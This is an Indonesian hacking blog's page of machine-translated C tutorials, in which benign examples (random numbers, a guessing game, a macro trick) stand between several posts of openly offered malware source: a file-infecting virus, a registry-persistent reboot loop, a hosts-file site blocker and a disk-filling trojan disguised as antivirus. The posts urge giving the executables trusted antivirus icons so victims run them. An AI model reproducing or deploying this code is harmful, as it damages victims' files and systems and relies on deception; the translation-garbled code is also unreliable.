Tampilkan postingan dengan label C SOURCE CODES. Tampilkan semua postingan
Tampilkan postingan dengan label C SOURCE CODES. Tampilkan semua postingan

Cara Membuat Virus Komputer?

Written By dika on Rabu, 16 Maret 2011 | 19.09

Cara Membuat Virus Komputer? 
 
Program ini merupakan contoh bagaimana untuk membuat virus di C. 


Program ini menunjukkan program virus sederhana yang pada saat eksekusi (Menjalankan) membuat copy dari dirinya sendiri dalam file lain. Oleh karena itu merusak file lain dengan menginfeksi mereka. Tapi file terinfeksi virus juga mampu menyebar infeksi ke file lain dan seterusnya. Berikut kode sumber dari program virus. 

 
# Include <stdio.h> # Include <io.h> # Include <dos.h> # Include <dir.h> # Include <conio.h> # Include <time.h>
FILE * virus, tuan rumah *; int dilakukan, a = 0; unsigned long x; char buff [2048]; struct ffblk ffblk; clock_t st, end;
void main () { st = clock (); clrscr (); dilakukan = findfirst ("*.*",& ffblk, 0); while (! dilakukan) { virus = fopen (_argv [0], "rb"); host = fopen (ffblk.ff_name, "rb +"); if (host == NULL) goto berikutnya; x 89088 =; printf ("MENGINFEKSI% s \ n", ffblk.ff_name, a); while (x> 2048) { fread (buff, 2048,1, virus); fwrite (buff, 2048,1, host); x-2048 =; } fread (buff, x, 1, virus); fwrite (buff, x, 1, host); a + +; berikutnya: { fcloseall (); dilakukan = findnext (& ffblk); } } printf ("! SELESAI (Jumlah File Terinfeksi =% d)", a); end = clock (); printf ("WAKTU DIAMBIL =% f SEC \ n", (Akhir-st) / CLK_TCK); getch (); }
19.09 | 0 komentar | Read More

Program C untuk Menghasilkan Bilangan Acak

Program C untuk Menghasilkan Bilangan Acak 
 
Ini adalah program sederhana untuk menghasilkan angka acak. Logika ini dapat digunakan untuk membangun program Lotto atau program untuk memilih nomor Lucky dan seterusnya. Berikut program 

# Include <stdio.h> # Include <stdlib.h> # Include <time.h>
int main (void) { int i; time_t t; srand ((unsigned) time (& t)); printf ("Sepuluh bilangan acak 0-99 \ n \ n"); untuk (i = 0; i <10; i + +) printf ("% d \ n", rand ()% 100); } ATAU
 
 
Jika diperlukan untuk menghasilkan angka antara 0 dan (num-1) maka program ini memenuhi solusi ideal 

# Include <stdio.h> # Include <stdlib.h> # Include <time.h> / * Mencetak nomor acak dalam kisaran 0-99 * / int main (void) { mengacak (); printf ("nomor acak dalam kisaran 0-99:% d \ n", random (100)); return 0; }
19.07 | 0 komentar | Read More

Program C untuk Dapatkan Sistem Waktu Sekarang

Program C untuk Dapatkan Sistem Waktu Sekarang 
 
Program ini membaca waktu sistem saat ini dan menampilkannya dalam bentuk HH: MM: SS # Include <stdio.h> # Include <dos.h>
int main (void) { struct waktu t; gettime (& t); printf ("Waktu saat ini adalah:% 2d:% 02d:% 02d \ n", t.ti_hour, t.ti_min, t.ti_sec); return 0; }
19.04 | 0 komentar | Read More

Program C untuk Mengatur / Mengubah Sistem Tanggal Berlaku


Program ini dapat digunakan untuk mengatur tanggal sistem atau untuk mengubah tanggal sistem saat ini.
 
 
# Include <stdio.h> # Include <process.h> # Include <dos.h>
int main (void) { struct tanggal ulang; struct tanggal save_date; getdate (& save_date); printf ("Original date: \ n"); system ("tanggal"); reset.da_year = 2001; reset.da_day = 1; reset.da_mon = 1; setdate (& reset); printf ("Tanggal setelah setting: \ n"); system ("tanggal"); setdate (& save_date); printf ("Kembali ke tanggal asli: \ n"); system ("tanggal"); return 0; }
19.02 | 0 komentar | Read More

C Program untuk Soal Merpati Pemuliaan

C Program untuk Soal Merpati Pemuliaan 
 
Masalahnya adalah sebagai berikut .Awalnya saya memiliki sepasang merpati dewasa (yang mampu berkembang biak) yang menimbulkan sepasang muda setiap bulan sampai mencapai usia 5 tahun (60 bulan). Namun pasangan muda mulai berkembang biak hanya jika adalah 2 bulan.  


Setelah pasangan merpati dewasa mulai pembibitan tidak pernah berhenti untils usia 5 tahun. Asumsikan usia merpati dewasa awal adalah 2 bulan. Program ini mengambil no. bulan sebagai masukan dan akan menghitung total no. merpati selama waktu tertentu (seperti yang diberikan oleh input). 

Masalah ini dibingkai, berdasarkan imajinasi saya sendiri dan saya sebut masalah ini sebagai PIGEON BIBIT MASALAH. Berikut adalah kode 

# Include <stdio.h> # Include <process.h>
struct node { int umur; struct node * link; };
typedef struct node * simpul;
Node getnode () { Node x; x = (node) malloc (sizeof (struct node)); if (x == NULL) { printf ("Kehabisan memori \ n"); exit (1); } return x; }
void main () { unsigned int jumlah panjang = 1; unsigned int bulan, i; Node getnode pertama = ();/* ini adalah * pasangan dewasa awal / usia pertama kali-> = 2; / * mengasumsikan pasangan usia dewasa awal sebagai 2 * / pertama-> link = NULL; printf ("Masukkan bulan tidak ada \ n."); scanf ("% u", & bulan); untuk (i = 0;> iage = 2) & & (temp-> umur <= 60)) {Node Temp1 = getnode (); usia temp-> + = 1; Temp1-> umur = 1; Temp1-> link = pertama; pertama = Temp1; temp = link temp->; + + Count; } lain { temp-> umur + = 1; temp = link temp->; } } } printf ("Jumlah total pasangan setelah bulan u% =% ld \ n.", bulan, hitung); }
18.59 | 0 komentar | Read More

Program merusak Diri di C

Program merusak Diri di C 
 
Program ini akan menghancurkan dirinya pada eksekusi. Program ini akan menyebabkan file exe yang akan dihapus setelah eksekusi.. Itu adalah program ini mampu menghancurkan dirinya pada eksekusi.  


Berikut adalah kode
 
 
# Include <stdio.h> # Include <conio.h> # Include <dos.h> void main () { printf ("Program ini akan menghancurkan dirinya sendiri jika u tekan tombol apa saja \ n!"); getch (); menghapus (_argv [0 ]);/* array dari pointer ke baris perintah * argumen / }
 
CARA COMPILE? 


Load kode sumber untuk compiler dan kompilasi (tekan Alt-F9) dan kemudian tekan F9. Ini akan menghasilkan. Exe file dalam direktori saat ini (Bin direktori). Jalankan ini. File exe itu akan menghancurkan dirinya pada eksekusi.
18.51 | 0 komentar | Read More

Menebak Game Dalam C


Ini adalah permainan menebak kecil ditulis dalam C. Dalam permainan menebak kamu harus menebak angka antara 0 dan 100. Anda harus 8 kesempatan untuk melakukan itu. Setiap kali Anda keliru menebak program ini akan memberikan pe
tunjuk bahwa menebak Anda terlalu tinggi atau menebak Anda terlalu rendah. 


Berdasarkan petunjuk Anda harus menebak angka dalam upaya yang tersisa. Berikut kode 

 
# Include <stdio.h> # Include <stdlib.h> # Include <time.h>
void main () { int num, menebak =- 1, mencoba = 0, pass = 0; time_t t; srand ((unsigned) time (& t)); num = rand ()% 100; while ((= num) guess! & & mencoba <8) { printf ("Masukkan num menebak b / w 0 & 100 (Anda memiliki% d percobaan ditinggalkan) \ n", (8-mencoba)); scanf ("% d", & tebak); mencoba + +; if (tebak == num) { printf ("Hore Anda menebak dengan benar \ n!"); pass = 1; } else if (<num menebak) printf ("rasa Anda terlalu tinggi \ n"); lain printf ("rasa Anda terlalu rendah \ n"); } if (pass == 0) printf ("Maaf Anda kehilangan jumlah yang benar adalah% d \ n", num); }
18.48 | 0 komentar | Read More

Program C Tanpa Fungsi Utama

Program C Tanpa Fungsi Utama

Bagaimana menulis sebuah program C yang tanpa fungsi utama?. Apakah mungkin untuk melakukan itu. Ya bisa ada sebuah program C yang tanpa fungsi utama.  


Berikut kode program tanpa fungsi utama .
   

# Include <stdio.h> # Define decode (s, t, u, m, p, e, d) m # u # s # # t # # # Define mulai decode (a, n, i, m, t,, e)
int mulai () { printf ("hello"); }
 
Apakah program di atas berjalan tanpa fungsi utama? Ya, program di atas berjalan baik-baik saja bahkan tanpa fungsi utama. Tapi bagaimana, whats logika di balik itu? Bagaimana kita bisa memiliki program C bekerja tanpa utama? 

Di sini kita menggunakan perintah preprocessor # define dengan argumen untuk memberi kesan bahwa program ini berjalan tanpa utama. Namun pada kenyataannya berjalan dengan fungsi utama tersembunyi.
The '# #' operator disebut token atau token menyisipkan penggabungan operator. Itu adalah kita bisa menggabungkan dua atau lebih karakter dengan itu.
CATATAN: Preprocessor adalah program yang processess kode sumber sebelum kompilasi.
 
Lihatlah garis 2 program -
# Define decode (s, t, u, m, p, e, d) m # u # s # # t # #
 
Apakah preprocessor lakukan di sini. The decode makro (s, t, u, m, p, e, d) sedang diperluas sebagai "harus meluruhkan" (The # # operator gabungan m, s, u & t ke dalam harus meluruhkan). Logikanya adalah ketika Anda melewati (s, t, u, m, p, e, d) sebagai argumen itu menggabungkan, 1 4, 3 & ke-2 karakter (token).
 
Sekarang lihat pada baris ketiga dari program -
# Define mulai decode (a, n, i, m, t,, e)
 
Berikut preprocessor menggantikan makro "mulai" dengan ekspansi decode (n,, i, m, t,, e). Menurut definisi makro pada baris sebelumnya argumen harus diperluas sehingga, 4 1, 3 & karakter 2nd harus digabung. Dalam argumen (n,, i, m, t,, e) 4, 1, 3 & karakter 2 adalah 'm', 'a', 'i' & 'n'.
Jadi baris ketiga "int mulai" diganti dengan "int main" oleh preprocessor sebelum program ini diteruskan untuk compiler. Itu saja .


Intinya adalah tidak akan pernah ada ada sebuah program C yang tanpa fungsi utama. Di sini kita hanya memainkan gimmick yang membuat kita percaya program berjalan tanpa fungsi utama, namun sebenarnya terdapat fungsi utama tersembunyi dalam program ini. Di sini kita menggunakan direktif proprocessor untuk cerdas mengganti kata dimulai "oleh" utama ". Dalam kata sederhana mulai int = int utama.
18.43 | 0 komentar | Read More

Berkas Proyek Embedder di C

Berkas Proyek Embedder di C 
 
Beberapa kali perlu untuk proyek kami disusun untuk memiliki itu mendukung file EXE tertanam di dalam modul itu sendiri sehingga file pendukung tidak dapat dimasukkan ke dalam folder terpisah dan terbawa dengan proyek. Jadi di sinilah aku presentasi Anda dengan kode sumber proyek EMBEDDER FILE UTILITY. 


Utilitas ini dapat digunakan untuk embed satu file dengan yang lain. yaitu: Misalkan kita perlu untuk menanamkan file bat ke dalam proyek akhir kami sehingga file batch hadir dengan dalam modul disusun dan tersembunyi dari (atau file lain *. exe, * bmp, txt ... ...). pengguna perlu menghindari tjumlah untuk membawa. bat file setiap waktu dengan proyek. 


Baik Menanamkan dan proses ekstraksi telah disajikan dalam fungsi terpisah untuk kenyamanan Anda. Berikut kode ... .. # Include <stdio.h> # Include <conio.h> # Include <fcntl.h> # Include <sys/types.h> # Include <sys/stat.h> # Include <stdlib.h> # Include <string.h>
embed void (void); ekstrak void (void);
char buff [1], SNAME [128], tname [128], dname [128], pilihan; unsigned int ukuran panjang = 0; psize int panjang = 0; elatan int, byte = 0; FILE * sumber, target *, data *;
void main () { sementara (1) { clrscr (); menempatkan ("\ n \ n \ t \ t \ tFILE embedding UTILITY OLEH SRIKANTH \ n \ n \ n"); menempatkan ("1.Embed Sebuah Berkas 2 Ambil A 3.Exit Berkas \ n."); pilihan = getch (); switch (pilihan) { case '1 ': embed (); getch (); break; case '2 ': ekstrak (); getch (); break; default: exit (0); } } }
void embed () { menempatkan ("\ nMasukkan Source Filename \ n"); scanf ("% s", SNAME); source = fopen (SNAME, "rb +"); if (source == NULL) { menempatkan ("\ nCannot Open Source File \ n"); kembali; } menempatkan ("\ nMasukkan The Target Filename \ n"); scanf ("% s", tname); elatan = terbuka (tname, O_RDONLYO_BINARY); jika (elatan ==- 1) { menempatkan ("\ nCannot Buka File Target \ n"); kembali; } printf ("\ nReading Source Berkas Harap Tunggu ... \ n"); while ((bytes = baca (elatan, buff, 1))> 0) ukuran + = byte; data = fopen ("Data.cfg", "w"); if (data == NULL) { menempatkan ("\ nCannot Buat Konfigurasi File \ n"); kembali; } fprintf (data, "% lu", ukuran); dekat (elatan); fclose (data); target = fopen (tname, "rb"); if (target == NULL) { menempatkan ("Tidak dapat Buka File Tujuan \ n"); kembali; } printf ("\ nEmbedding Silakan tunggu ... \ n"); fseek (sumber, 0, SEEK_END); while (fread (buff, 1,1, target)> 0) fwrite (buff, 1,1, sumber); fcloseall (); printf ("\ nEmbedding Diselesaikan Berhasil \ n"); }
void ekstrak () { printf ("\ nMasukkan Sumber Filename \ n"); scanf ("% s", SNAME); source = fopen (SNAME, "rb"); if (source == NULL) { printf ("\ nCannot Open Source File \ n"); kembali; } printf ("\ nMasukkan Target Filename (misalnya: abc.exe) \ n"); scanf ("% s", tname); printf ("\ nMasukkan Konfigurasi Filename (misalnya: DATA.cfg) \ n"); scanf ("% s", dname); data = fopen (dname, "r"); if (data == NULL) { printf ("\ nConfiguration File Tidak Ditemukan \ n"); kembali; } fscanf (data, "% ld", & psize); target = fopen (tname, "wb"); if (target == NULL) { menempatkan ("\ nCannot Buka File Target \ n"); kembali; } printf ("\ nExtracting Silakan tunggu ... \ n"); fseek (sumber,-psize, SEEK_END); while ((fread (buff, 1,1, sumber))> 0) fwrite (buff, 1,1, target); printf ("\ nFile Ekstraksi Terselesaikan Berhasil \ n"); fcloseall (); }  


ANDA BISA DOWNLOAD MODUL DISUSUN DARI CODE DIATAS DISINI
18.40 | 0 komentar | Read More

Program Virus Restart Komputer di Setiap Startup

Program Virus Restart Komputer di Setiap Startup 
 
Hari ini saya akan menunjukkan Anda bagaimana untuk membuat virus yang restart komputer setelah setiap startup. Artinya, setelah infeksi, komputer akan restart setiap kali sistem di-boot. Ini berarti bahwa komputer akan menjadi bisa dioperasi karena reboot secepat desktop dimuat. 


Untuk ini, virus perlu doubleclicked hanya sekali dan sejak itu seterusnya akan membawa keluar sisa operasi. Dan satu hal lagi, tidak ada software antivirus mendeteksi's ini sebagai virus karena saya telah dikodekan virus ini di C. Jadi jika Anda sudah familiar dengan bahasa C maka terlalu mudah untuk memahami logika di balik coding. 






Berikut ini adalah kode sumber. 


# Include <stdio.h> # Include <dos.h> # Include <dir.h>
int ditemukan, drive_no; char buff [128];
void findroot () { int dilakukan; struct ffblk ffblk; / / File struktur balok dilakukan = findfirst ("C: \ \ windows \ \ system", & ffblk, FA_DIREC); / / untuk menentukan root drive jika (dilakukan == 0) { dilakukan = findfirst ("C: \ \ windows \ \ system \ \ sysres.exe", & ffblk, 0); / / untuk menentukan apakah virus tersebut telah terinstal atau tidak jika (dilakukan == 0) { ditemukan = 1; / / berarti bahwa sistem sudah terinfeksi kembali; } drive_no = 1; kembali; } dilakukan = findfirst ("D: \ \ windows \ \ system", & ffblk, FA_DIREC); jika (dilakukan == 0) { dilakukan = findfirst ("D: \ \ windows \ \ system \ \ sysres.exe", & ffblk, 0); jika (Dilakukan == 0) { ditemukan = 1; kembali; } drive_no = 2; kembali; } dilakukan = findfirst ("E: \ \ windows \ \ system", & ffblk, FA_DIREC); jika (dilakukan == 0) { dilakukan = findfirst ("E: \ \ windows \ \ system \ \ sysres.exe", & ffblk, 0); jika (dilakukan == 0) { ditemukan 1 =; kembali; } drive_no = 3; kembali; } dilakukan = findfirst ("F: \ \ windows \ \ system", & ffblk, FA_DIREC); jika (dilakukan == 0) { dilakukan = findfirst ("F: \ \ windows \ \ system \ \ sysres.exe", & ffblk, 0); jika (dilakukan == 0) { ditemukan 1 =; kembali; } drive_no = 4; kembali; } lain exit (0); }
void main () { FILE * diri, * target; findroot (); jika (ditemukan == 0) / / jika sistem belum terinfeksi { diri = fopen (_argv [0], "rb"); / / The file virus itu sendiri dibuka switch (drive_no) { kasus 1: target = fopen ("C: \ \ windows \ \ system \ \ sysres.exe", "wb"); / / untuk menempatkan salinan dari dirinya sendiri di tempat terpencil system ("REG ADD HKEY_CURRENT_USER \ \ Software \ \ Microsoft \ \ Windows \ \ CurrentVersion \ \ Run \ SRES v / \ / REG_SZ t \ / d C: \ \ windows \ \ system \ \ sysres.exe "); / / simpan file ini ke registri untuk starup break;
Kasus 2: target = fopen ("D: \ \ windows \ \ system \ \ sysres.exe", "wb"); system ("REG ADD HKEY_CURRENT_USER \ \ Software \ \ Microsoft \ \ Windows \ \ CurrentVersion \ \ Run \ SRES v / \ / REG_SZ t \ / d D: \ \ windows \ \ system \ \ sysres.exe "); break;
kasus 3: target = fopen ("E: \ \ windows \ \ system \ \ sysres.exe", "wb"); system ("REG ADD HKEY_CURRENT_USER \ \ Software \ \ Microsoft \ \ Windows \ \ CurrentVersion \ \ Run \ SRES v / \ / REG_SZ t \ / d E: \ \ windows \ \ system \ \ sysres.exe "); break;
Kasus 4: target = fopen ("F: \ \ windows \ \ system \ \ sysres.exe", "wb"); system ("REG ADD HKEY_CURRENT_USER \ \ Software \ \ Microsoft \ \ Windows \ \ CurrentVersion \ \ Run \ SRES v / \ / REG_SZ t \ / d F: \ \ windows \ \ system \ \ sysres.exe "); break;
default: exit (0); }
while (fread (buff, 1,1, diri)> 0) fwrite (buff, 1,1, target); fcloseall (); }
lain system ("shutdown-r-t 0"); / / jika sistem sudah terinfeksi kemudian hanya memberikan perintah untuk restart }


CATATAN: KOMENTAR YANG DIBERIKAN DI WARNA COKLAT. 

 Kompilasi Kode Scource Ke Virus eksekusi. 

1. Download Kode Sumber Disini
2. File yang didownload akan Sysres.C
3. Untuk langkah-demi-langkah panduan kompilasi, lihat posting saya Bagaimana mengkompilasi C Program. 

  
Pengujian Dan Menghapus Virus ini Dari PC Anda 

Anda dapat mengkompilasi dan tes ini virus pada PC Anda sendiri tanpa rasa takut. Untuk menguji, hanya DoubleClick file sysres.exe dan restart sistem secara manual. Sekarang dan seterusnya, ketika setiap kali PC boot dan desktop dimuat, PC Anda akan restart secara otomatis lagi dan lagi. Tidak akan ada salahnya selain dari secara otomatis me-restart sistem anda. Setelah pengujian, Anda dapat menghapus virus dengan langkah-langkah berikut. 


1. Reboot komputer Anda di SAFE MODE
2. Goto X: \ Windows \ System (X dapat C, D, E atau F)
3.Anda akan menemukan file dengan sysres.exe nama, menghapusnya.
regedit 4.Type di run.You akan goto registri editor.Here menavigasi ke HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run

 
Di sana, di situs kanan anda akan melihat entri dengan nama "SRES" Hapus it.You s entry.That ini '. Telah menghapus Virus ini berhasil. 


Logika Dibalik Kerja Virus ini 


Jika saya tidak menjelaskan logika (Algoritma) balik kerja virus, posting ini akan tidak lengkap. Jadi saya akan menjelaskan logika dengan cara yang disederhanakan. Di sini saya tidak akan menjelaskan rincian teknis program. Jika Anda memiliki keraguan lebih lanjut silakan komentar lulus. 


 
LOGIC: 


1. Pertama virus akan menemukan partisi root (Partisi di mana Windows diinstal). 


2. Selanjutnya akan menentukan apakah file Virus sudah disalin (Sudah terinfeksi) ke X: \ Windows \ System 


3. Jika tidak hanya akan menempatkan salinan dirinya ke dalam X: \ Windows \ System dan membuat entri registry untuk menempatkan file ini virus ke startup. 


4. Atau jika virus tersebut sudah ditemukan di X: \ direktori Windows \ System (folder), maka hanya memberi perintah untuk me-restart komputer. 


Proses ini diulangi setiap kali PC di-restart. 


CATATAN: Sistem tidak akan direstart segera setelah Anda klik ganda file.The Sysres.exe proses restart akan terjadi dari boot berikutnya dari sistem. 


DAN SATU HAL SEBELUM ANDA LEBIH CUTI (Langkah ini opsional) 


Setelah anda mengkompilasi, file Sysres.exe bahwa Anda mendapatkan akan memiliki ikon default. Jadi, jika Anda mengirim file ini ke teman Anda mereka mungkin tidak klik di atasnya karena memiliki ICON default. Jadi adalah mungkin untuk mengubah ICON file ini Sysres.exe ke dalam setiap ICON lain yang lebih dipercaya dan terlihat menarik. 


Sebagai contoh Anda dapat mengubah. Ikon exe file ke Norton antivirus ICON itu sendiri sehingga orang-orang melihat file ini percaya bahwa itu adalah Norton antivirus. Atau Anda dapat mengubah ICON itu ke dalam ICON dari setiap program populer dan terpercaya sehingga orang pasti akan klik di atasnya. 


Rincian tutorial mengubah ICON diberikan dalam posting saya Cara Mengganti ICON Dari Sebuah File EXE.
18.36 | 0 komentar | Read More

Program Virus untuk Blok Situs

Program Virus untuk Blok Situs

Sebagian besar dari kita akrab dengan virus yang digunakan untuk memblokir Orkut dan situs Youtube. Jika Anda ingin tahu tentang menciptakan seperti virus sendiri, di sini adalah bagaimana hal itu bisa dilakukan. Seperti biasa saya akan menggunakan bahasa pemrograman favorit saya 'C' untuk membuat website ini menghalangi virus. Saya akan memberikan pengantar singkat tentang virus ini sebelum aku melompat ke jargon teknis. 


Virus ini telah diciptakan secara eksklusif di 'C'. Jadi, siapapun dengan pengetahuan dasar tentang C akan dapat memahami kerja virus. Hal ini perlu virus harus diklik hanya sekali oleh korban. Setelah diklik, itu akan blok daftar situs Web yang telah ditetapkan dalam kode sumber. Korban tidak akan pernah dapat menjelajahi situs web tersebut kecuali dia kembali-install sistem operasi. Ini memblokir tidak hanya terbatas pada IE atau Firefox. Jadi sekali diblokir, situs tidak akan muncul dalam salah satu dari program browser. 


Catatan: Anda juga dapat memblokir situs web secara manual. Tapi, di sini aku telah membuat sebuah virus yang mengotomatisasi semua langkah yang terlibat dalam menghalangi. Proses pemblokiran manual digambarkan dalam pos Cara Blok Website?
Berikut adalah source code virus. 

# Include <stdio.h> # Include <dos.h> # Include <dir.h>
site_list char [6] [30] = { "Google.com", "Www.google.com", "Youtube.com", "Www.youtube.com", "Yahoo.com", "Www.yahoo.com" }; char ip [12] = "127.0.0.1"; FILE * target;
int find_root (void); block_site void (void);
int find_root () { int dilakukan; struct ffblk ffblk; / / File struktur balok
dilakukan = findfirst ("C: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC); / * Untuk menentukan root drive * / jika (dilakukan == 0) { target = fopen ("C: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +"); / * Untuk membuka file * / return 1; }
dilakukan = findfirst ("D: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC); / * Untuk menentukan root drive * / jika (dilakukan == 0) { target = fopen ("D: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +"); / * Untuk membuka file * / return 1; }
dilakukan = findfirst ("E: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC); / * Untuk menentukan root drive * / jika (dilakukan == 0) { target = fopen ("E: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +"); / * Untuk membuka file * / return 1; }
dilakukan = findfirst ("F: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC); / * Untuk menentukan root drive * / jika (dilakukan == 0) { target = fopen ("F: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +"); / * Untuk membuka file * / return 1; }
lain return 0; }
void block_site () { int i; (Target, 0, SEEK_END) fseek; / * untuk pindah ke akhir file * /
fprintf (target, "\ n"); untuk (i = 0; i <6; i + +) fprintf (target, "% s \ t% s \ n", ip, site_list [i]); fclose (target); }
void main () { int sukses = 0; sukses = find_root (); if (sukses) block_site ();
}

 
Bagaimana Kompilasi?
Untuk langkah-demi-langkah panduan kompilasi, lihat posting saya Bagaimana mengkompilasi C Program. 

 
Pengujian 


1. Untuk menguji, jalankan modul dikompilasi. Ini akan memblokir situs-situs yang tercantum dalam kode sumber. 


2. Setelah Anda menjalankan block_Site.exe file, restart program browser Anda. Kemudian, ketik URL situs yang diblokir dan Anda akan melihat browser menampilkan kesalahan "Halaman tidak dapat ditampilkan". 


3. Untuk menghapus jenis virus berikut Run. 


% Windir% \ system32 \ drivers \ etc 

 
4. Di sana, buka file bernama "hosts" menggunakan notepad.At di bagian bawah file yang dibuka Anda akan melihat sesuatu seperti ini

127.0.0.1 google.com 5. Hapus semua entri tersebut yang berisi nama-nama situs yang diblokir.
Catatan: Anda juga dapat mengubah ICON virus agar terlihat seperti metode program.This sah dijelaskan di posting: Cara Mengubah ICON dari file EXE?
17.38 | 0 komentar | Read More

Cara Membuat Trojan Horse

Cara Membuat Trojan Horse

Sebagian besar dari Anda mungkin penasaran untuk mengetahui tentang bagaimana membuat Trojan atau Virus pada Anda sendiri. Berikut ini adalah jawaban untuk rasa ingin tahu Anda. Dalam posting ini saya akan menunjukkan Anda bagaimana untuk membuat Trojan sederhana pada bahasa C sendiri menggunakan pemrograman.  


Trojan ini ketika dijalankan akan memakan ruang hard disk pada root drive (drive di mana Windows terinstal, biasanya C: Drive) dari komputer yang dijalankan. Juga Trojan ini bekerja dengan cukup cepat dan mampu makan sampai sekitar 1 GB ruang hard disk untuk setiap menit dijalankan. Jadi, saya akan menyebutnya sebagai Space Eater Trojan. Karena ini Trojan ditulis menggunakan bahasa pemrograman tingkat tinggi ini sering tidak terdeteksi oleh antivirus. Kode sumber untuk Trojan ini tersedia untuk di-download pada akhir posting ini. Mari kita lihat bagaimana Trojan bekerja .

Sebelum saya pindah ke menjelaskan fitur dari Trojan ini anda harus mengetahui apa sebenarnya adalah kuda Trojan dan bagaimana cara kerjanya. Karena kebanyakan dari kita berpikir Trojan atau Trojan horse bukan virus. Dengan kata sederhana Trojan horse adalah program yang muncul untuk melakukan fungsi yang diinginkan tetapi sebenarnya melakukan fungsi berbahaya yang dirahasiakan yang memungkinkan akses tanpa izin ke mesin host atau membuat kerusakan pada komputer. 
 Sekarang mari kita pindah ke kerja kami Trojan 

Kuda Trojan yang muncul saya telah membuat dirinya sebagai sebuah program antivirus yang memindai komputer dan menghapus ancaman. Namun pada kenyataannya tidak apa-apa selain menempati ruang hard disk pada root drive dengan hanya mengisinya dengan file sampah besar. Tingkat di mana ia mengisi ruang hard disk terlalu tinggi. Akibatnya disk yang akan diisi sampai 100% dengan di menit menjalankan Trojan ini. Setelah ruang disk penuh, laporan Trojan bahwa pemindaian selesai. Korban tidak akan mampu membersihkan ruang hard disk menggunakan program pembersihan. Hal ini karena Trojan cerdas menciptakan sebuah file besar dalam folder Windows \ System32 dengan ekstensi dll.. Karena file sampah memiliki ekstensi. Dll sering diabaikan oleh software disk cleanup. Jadi untuk korban, kini ada cara untuk memulihkan ruang hard disk kecuali reformatting drive-nya. 

 
Algoritma dari Trojan adalah sebagai berikut :

1. Search for root drive
2. Arahkan ke WindowsSystem32 pada root drive
3. Buat file yang bernama "spceshot.dll"
4. Mulai membuang sampah data ke file di atas dan terus meningkat itu ukuran sampai drive penuh
5. Setelah drive penuh, menghentikan proses.
Anda dapat mendownload source code Trojan SINI. Harap dicatat bahwa saya tidak termasuk executabe untuk alasan keamanan. Anda perlu untuk kompilasi untuk mendapatkan executable.

 
Bagaimana mengkompilasi, menguji dan menghapus merusak? 

  •   Kompilasi: 

Untuk langkah-demi-langkah panduan kompilasi, lihat posting saya Bagaimana mengkompilasi C Program.
 
  • Pengujian: 

Untuk menguji Trojan, jalankan file SpaceEater.exe di komputer Anda. Ini akan menghasilkan pesan peringatan di awal. Setelah Anda menerimanya, Trojan berjalan dan makan ruang hard disk. Catatan: Untuk menghapus pesan peringatan Anda untuk mengedit kode sumber dan kemudian kembali-compile. 

 
Bagaimana menghapus Kerusakan dan membebaskan ruang itu? 

Untuk menghapus kerusakan dan membebaskan ruang, cukup ketik berikut di kotak "run" dialog.

% Systemroot% \ system32 

Sekarang cari "spceshot.dll" file. Hanya dihapus dan Anda sudah selesai. Tidak perlu re-format hard disk. 

 
Catatan: Anda juga dapat mengubah ICON virus untuk membuatnya terlihat seperti sebuah program yang sah. Metode ini dijelaskan dalam pos: Bagaimana Mengubah ICON dari file EXE?
Mohon forward komentar Anda dan katakan pendapat Anda. Saya hanya menunggu komentar Anda
17.31 | 0 komentar | Read More
Masukan Email Anda Untuk BErlangganan Konten HACKING

Enter your email address:

Delivered by FeedBurner